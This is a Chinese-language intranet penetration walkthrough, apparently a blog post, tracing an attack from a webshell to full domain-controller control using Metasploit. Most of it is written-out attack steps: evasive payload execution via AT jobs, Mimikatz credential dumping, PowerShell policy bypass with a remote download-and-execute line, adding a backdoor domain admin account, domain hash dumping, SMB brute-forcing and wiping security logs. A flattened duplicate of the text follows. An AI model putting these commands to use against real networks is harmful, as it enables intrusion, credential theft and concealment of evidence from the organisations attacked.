Metasploit驰骋内网直取域管首级
字数 1707 2025-08-29 08:31:47

Metasploit内网渗透实战:从Webshell到域控权限获取

0x01 渗透环境概述

  • 已控制服务器:PAVMSEF21(内网IP:10.51.0.21)
  • 网络拓扑:该服务器作为连接外网和内网的关键节点,内网其他服务器无法直接连接
  • 初始权限:普通域用户权限

0x02 反弹Meterpreter会话

  1. 上传免杀Payload到目标服务器
  2. 通过Webshell(如菜刀)执行Payload
  3. 成功反弹Meterpreter会话

0x03 提权尝试

本地溢出提权

  • 尝试模块:ms15_05和ms15_078(均失败)

绕过UAC提权

  • 使用bypassuac模块(失败原因分析):
    • 当前用户可能不在管理员组
    • UAC设置不为默认值("仅在程序试图更改我的计算机时通知我")
    • 被杀毒软件拦截(创建多个文件触发检测)

0x04 信息收集关键命令

net user /domain          # 查看域用户
net view /domain         # 查看有几个域
net view /domain:XXX     # 查看指定域内电脑
net group /domain        # 查询域里面的组
net group "domain computers" /domain    # 查看域内所有计算机名
net group "domain admins" /domain       # 查看域管理员
net group "domain controllers" /domain   # 查看域控制器
net group "enterprise admins" /domain    # 查看企业管理组
net time /domain         # 查看时间服务器(通常为域控)

0x05 横向移动策略

  1. IPC$经典入侵方法

    • 选择与当前机器名相似的服务器(PAVMSEP131)
    • 上传免杀Payload
    • 使用AT命令启动Payload:at \\10.51.0.131 11:11 cmd.exe /c "C:\payload.exe"
    • 成功反弹PAVMSEP131服务器的Meterpreter会话
  2. 获取系统HASH

    • 确认系统架构(32位/64位)
    • 64位系统需将Mimikatz进程迁移到64位进程中
    • 使用Mimikatz抓取HASH:
      load mimikatz
      mimikatz_command -f sekurlsa::logonpasswords
      

0x06 PowerShell高级利用

执行策略绕过方法

  1. 本地权限绕过:
    PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
    
  2. 隐藏执行:
    PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -WindowStyle Hidden -File xxx.ps1
    
  3. 远程下载执行:
    powershell "IEX (New-Object Net.WebClient).DownloadString('http://url/script.ps1');Invoke-Mimikatz-DumpCreds"
    

PowerView实战

  • 使用Invoke-UserHunter模块查找域管理员在线服务器:
    powershell.exe -exec bypass -Command "&{Import-Module .\powerview.ps1;Invoke-UserHunter}"
    
  • 发现域管理员登录在PAVMSXD30(10.51.0.30)

0x07 获取域管权限

  1. 入侵PAVMSXD30服务器
  2. 使用getsystem提权
  3. 确认当前UID为域管理员(sonicwall)
  4. 进程迁移到域管理员进程:
    ps          # 列出进程
    migrate <PID>  # 迁移到域管理员进程
    
  5. 替代方法:窃取令牌(token stealing)

0x08 域控服务器攻击

  1. 确认域控信息:

    net time /domain
    
    • 主机名:PAVMSAD64
    • IP:10.51.0.63
  2. 添加域管理员账户:

    net user hacker P@ssw0rd /add /domain
    net group "domain admins" hacker /add
    
  3. 验证添加成功:

    net group "domain admins" /domain
    

0x09 登录域控方法

  1. 常见方法

    • 端口转发或SOCKS代理
    • 远程桌面连接
    • 使用psexec反弹shell
    • Metasploit的psexec或smb_login模块
  2. 使用Metasploit的psexec

    • 注意事项:
      • 使用自定义免杀Payload
      • 需要域管理员凭据
    • 成功反弹域控的Meterpreter会话

0x10 获取域控HASH

  1. 常用方法

    • Metasploit模块:
      • hashdump(本地HASH)
      • smart_hashdump(域HASH)
    • PowerShell模块
    • WCE、Mimikatz等工具
  2. 使用smart_hashdump

    • 要求:SYSTEM权限
    • 命令:
      run post/windows/gather/smart_hashdump
      

0x11 内网横向扩展

  1. SMB爆破内网

    • 添加路由:
      run autoroute -s 10.51.0.0/24
      
    • 使用smb_login模块爆破
    • 使用psexec_scanner模块扫描
  2. 内网访问方法

    • Meterpreter端口转发
    • Metasploit的socks4a模块
    • 第三方代理工具

0x12 痕迹清理

  1. 删除添加的域管理员账户
  2. 清除所有使用过的工具
  3. 清理日志:
    • 应用程序日志
    • 系统日志
    • 安全日志
  4. 关闭所有Meterpreter连接

关键工具总结

  1. Metasploit模块

    • exploit/windows/local/bypassuac
    • post/windows/gather/smart_hashdump
    • auxiliary/scanner/smb/smb_login
  2. PowerShell脚本

    • PowerView.ps1
    • Invoke-Mimikatz.ps1
  3. 经典工具

    • Mimikatz
    • IPC$ + AT命令
    • psexec

渗透流程总结

Webshell → Meterpreter反弹 → 提权尝试 → 信息收集 → 横向移动 → 定位域管 → 获取域管权限 → 攻击域控 → 获取域HASH → 内网扩展 → 清理痕迹

Metasploit内网渗透实战:从Webshell到域控权限获取 0x01 渗透环境概述 已控制服务器:PAVMSEF21(内网IP:10.51.0.21) 网络拓扑:该服务器作为连接外网和内网的关键节点,内网其他服务器无法直接连接 初始权限:普通域用户权限 0x02 反弹Meterpreter会话 上传免杀Payload到目标服务器 通过Webshell(如菜刀)执行Payload 成功反弹Meterpreter会话 0x03 提权尝试 本地溢出提权 尝试模块:ms15_ 05和ms15_ 078(均失败) 绕过UAC提权 使用bypassuac模块(失败原因分析): 当前用户可能不在管理员组 UAC设置不为默认值("仅在程序试图更改我的计算机时通知我") 被杀毒软件拦截(创建多个文件触发检测) 0x04 信息收集关键命令 0x05 横向移动策略 IPC$经典入侵方法 : 选择与当前机器名相似的服务器(PAVMSEP131) 上传免杀Payload 使用AT命令启动Payload: at \\10.51.0.131 11:11 cmd.exe /c "C:\payload.exe" 成功反弹PAVMSEP131服务器的Meterpreter会话 获取系统HASH : 确认系统架构(32位/64位) 64位系统需将Mimikatz进程迁移到64位进程中 使用Mimikatz抓取HASH: 0x06 PowerShell高级利用 执行策略绕过方法 本地权限绕过: 隐藏执行: 远程下载执行: PowerView实战 使用Invoke-UserHunter模块查找域管理员在线服务器: 发现域管理员登录在PAVMSXD30(10.51.0.30) 0x07 获取域管权限 入侵PAVMSXD30服务器 使用 getsystem 提权 确认当前UID为域管理员(sonicwall) 进程迁移到域管理员进程: 替代方法:窃取令牌(token stealing) 0x08 域控服务器攻击 确认域控信息: 主机名:PAVMSAD64 IP:10.51.0.63 添加域管理员账户: 验证添加成功: 0x09 登录域控方法 常见方法 : 端口转发或SOCKS代理 远程桌面连接 使用psexec反弹shell Metasploit的psexec或smb_ login模块 使用Metasploit的psexec : 注意事项: 使用自定义免杀Payload 需要域管理员凭据 成功反弹域控的Meterpreter会话 0x10 获取域控HASH 常用方法 : Metasploit模块: hashdump(本地HASH) smart_ hashdump(域HASH) PowerShell模块 WCE、Mimikatz等工具 使用smart_ hashdump : 要求:SYSTEM权限 命令: 0x11 内网横向扩展 SMB爆破内网 : 添加路由: 使用smb_ login模块爆破 使用psexec_ scanner模块扫描 内网访问方法 : Meterpreter端口转发 Metasploit的socks4a模块 第三方代理工具 0x12 痕迹清理 删除添加的域管理员账户 清除所有使用过的工具 清理日志: 应用程序日志 系统日志 安全日志 关闭所有Meterpreter连接 关键工具总结 Metasploit模块 : exploit/windows/local/bypassuac post/windows/gather/smart_ hashdump auxiliary/scanner/smb/smb_ login PowerShell脚本 : PowerView.ps1 Invoke-Mimikatz.ps1 经典工具 : Mimikatz IPC$ + AT命令 psexec 渗透流程总结 Webshell → Meterpreter反弹 → 提权尝试 → 信息收集 → 横向移动 → 定位域管 → 获取域管权限 → 攻击域控 → 获取域HASH → 内网扩展 → 清理痕迹